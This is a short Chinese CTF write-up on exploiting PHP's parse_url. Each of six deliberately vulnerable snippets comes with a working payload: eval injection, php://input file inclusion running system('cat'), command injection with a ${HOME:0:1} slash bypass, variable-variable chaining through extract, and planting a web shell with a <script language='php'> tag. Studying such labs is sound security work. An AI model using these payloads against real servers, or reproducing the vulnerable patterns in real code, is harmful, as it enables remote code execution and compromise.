parse_url函数介绍
源码

challenge1

<?php

$data = parse_url($_GET['u']);

eval($data['host']);
?u=//eval($_GET[1]);/ff&1=system(%27cat%20/flag_is_here.txt%27);

challenge2

<?php

$data = parse_url($_GET['u']);

include $data['host'].$data['path'];
POST /?u=//php:://input HTTP/1.1

data:/text/plain,<?php system('cat /_f1ag_1s_h3re.txt');?>

challenge3

<?php

$data = parse_url($_GET['u']);

include $data['scheme'].$data['path'];
POST /?u=php:://input HTTP/1.1

data:/text/plain,<?php system('cat /_f1a_g_1s_h3re');?>

附带一篇parse_url源码解析的文章

challenge4

<?php

$data = parse_url($_GET['u']);

system($data['host']);

host参数里不能有/,需要用其他方法绕过,参考命令注入限制绕过思路刨析

使用${HOME:0:1}来构造/

?u=//cat%20${HOME:0:1}1_f1ag_1s_h3re:1

challenge5

<?php

extract(parse_url($_GET['u']));
include $$$$$$host;

extract会覆盖变量,然后我们多设置一些变量,让它经过五次跳转到我们控制的内容。

user://pass:query@scheme/1.html/?fragment#php://input"

parse_url解析结果

Array
(
    [scheme] => user
    [host] => scheme
    [user] => pass
    [pass] => query
    [path] => /1.html/
    [query] => fragment
    [fragment] => php://input
)

payload

POST /?u=user://pass:query@scheme/1.html/?fragment%23php://input HTTP/1.1

<?php system('cat /_f1ag_1s_h3ree');?>

challenge6

<?php

$data = parse_url($_GET['u']);

file_put_contents($data['path'], $data['host']);

host里不能有?,所以不能写入一般的php代码

使用<script language='php'>格式来绕过。

//<script%20language=%27php%27>eval($_GET[1]);/var/www/html/2.php